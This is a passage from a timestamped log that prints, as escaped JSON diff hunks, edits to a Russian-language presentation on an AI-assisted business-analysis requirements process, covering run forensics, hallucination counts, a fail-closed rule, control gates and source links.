\u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 212,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 10,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 218,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 14,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 265,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 275,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0414\u0430\u0436\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 273,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 9,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 284,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 10,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0018 \u2014 \u043f\u0440\u043e\u043c\u043f\u0442 \u0438\u0437 8 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> 8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb. RUN-0059 \u0441 fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 endpoint'\u043e\u0432.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 303,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 315,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u043a\u0435\u0439\u0441 RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 333,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 346,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-BIZ, V-APPROVE, V-DEV, V-CONTRACT | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 401,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 414,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 430,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 444,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ```\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432 14 \u0441\u043b\u043e\u0442\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 